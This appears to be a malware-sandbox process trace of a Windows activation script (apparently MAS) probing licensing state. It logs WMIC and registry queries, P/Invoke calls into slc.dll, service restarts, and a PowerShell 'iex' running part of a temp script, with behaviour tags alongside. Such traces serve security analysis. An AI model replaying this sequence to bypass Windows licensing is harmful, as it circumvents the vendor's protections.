C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%')5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "Windows 10 Pro" "4⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"4⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\find.exefind /i "computersystem"4⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL) get Name /value4⤵
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul4⤵
-
C:\Windows\System32\wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ver4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 1 l.root-servers.net4⤵
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net5⤵
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKCU\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled4⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled4⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"4⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC4⤵
-
-
C:\Windows\System32\sc.exesc query ClipSVC4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc4⤵
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start KeyIso4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start LicenseManager4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Start4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\LicenseManager /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start Winmgmt4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Description4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\Winmgmt /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start DoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query DoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\DoSvc /v Type4⤵
-
-
C:\Windows\System32\sc.exesc start UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ErrorControl4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Start4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start CryptSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query CryptSvc4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\CryptSvc /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start BITS4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query BITS4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\BITS /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller4⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v DependOnService4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v DisplayName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v ObjectName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Start4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\TrustedInstaller /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wuauserv4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Description4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ImagePath4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v ObjectName4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /v Type4⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start WaaSMedicSvc4⤵
-
-
C:\Windows\System32\sc.exesc query WaaSMedicSvc4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v DependOnService4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v Description4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v DisplayName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v ErrorControl4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v ImagePath4⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v ObjectName4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v Start4⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /v Type4⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start wlidsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start KeyIso4⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start Winmgmt4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start DoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start CryptSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start BITS4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller4⤵
-
-
C:\Windows\System32\sc.exesc start wuauserv4⤵
-
-
C:\Windows\System32\sc.exesc start WaaSMedicSvc4⤵
-
-
C:\Windows\System32\sc.exesc config DoSvc start= delayed-auto4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc config UsoSvc start= delayed-auto4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc config wuauserv start= demand4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start ClipSVC4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start wlidsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start KeyIso4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query LicenseManager4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query Winmgmt4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start Winmgmt4⤵
-
-
C:\Windows\System32\sc.exesc query DoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service DoSvc4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\sc.exesc query DoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start DoSvc4⤵
-
-
C:\Windows\System32\sc.exesc query UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service UsoSvc4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\sc.exesc query UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start UsoSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query CryptSvc4⤵
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start CryptSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query BITS4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start BITS4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service TrustedInstaller4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\sc.exesc query TrustedInstaller4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start TrustedInstaller4⤵
-
-
C:\Windows\System32\sc.exesc query wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Start-Service wuauserv4⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\sc.exesc query wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start wuauserv4⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query WaaSMedicSvc4⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"4⤵
-
-
C:\Windows\System32\sc.exesc start WaaSMedicSvc4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo TrustedInstaller-1058 "4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "ClipSVC-1058 sppsvc-1058"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState5⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_25855974.cmd') -split ':wpatest\:.*';iex ($f[1]);" 2>nul4⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe "$f=[io.file]::ReadAllText('C:\Windows\Temp\MAS_25855974.cmd') -split ':wpatest\:.*';iex ($f[1]);"5⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "8" "4⤵
-
-
C:\Windows\System32\find.exefind /i "Error Found"4⤵
-
-
C:\Windows\System32\Dism.exeDISM /English /Online /Get-CurrentEdition4⤵
- Drops file in Windows directory
-
C:\Users\Admin\AppData\Local\Temp\0E1CE9F1-5FA6-4900-A18A-837CA18736D4\dismhost.exeC:\Users\Admin\AppData\Local\Temp\0E1CE9F1-5FA6-4900-A18A-837CA18736D4\dismhost.exe {BD9D0087-A2ED-481B-AB27-A623FBEA8474}5⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Windows directory
-
-
-
C:\Windows\System32\cmd.execmd /c exit /b -21474672594⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v EditionID 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v EditionID5⤵
-
-
-
C:\Windows\System32\cscript.execscript //nologo C:\Windows\system32\slmgr.vbs /dlv4⤵
-
-
C:\Windows\System32\cmd.execmd /c exit /b 04⤵
-
-
C:\Windows\System32\wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value4⤵
-
-
C:\Windows\System32\find.exefind /i "computersystem"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo "0" "4⤵
-
-
C:\Windows\System32\findstr.exefindstr /i "0x800410 0x800440"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKU\S-1-5-20\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\PersistedTSReArmed"4⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ClipSVC\Volatile\PersistedSystemState"4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm" 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v "SkipRearm"5⤵
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform\Plugins\Objects\msft:rm/algorithm/hwid/4.0" /f ba02fed39662 /d4⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore 2>nul4⤵
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform" /v TokenStore5⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "wmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE" 2>nul4⤵
-
C:\Windows\System32\wbem\WMIC.exewmic path SoftwareLicensingProduct where (ApplicationID='55c92734-d682-4d71-983e-d6ec3f16059f') get ID /VALUE5⤵
-
-
-
-
-
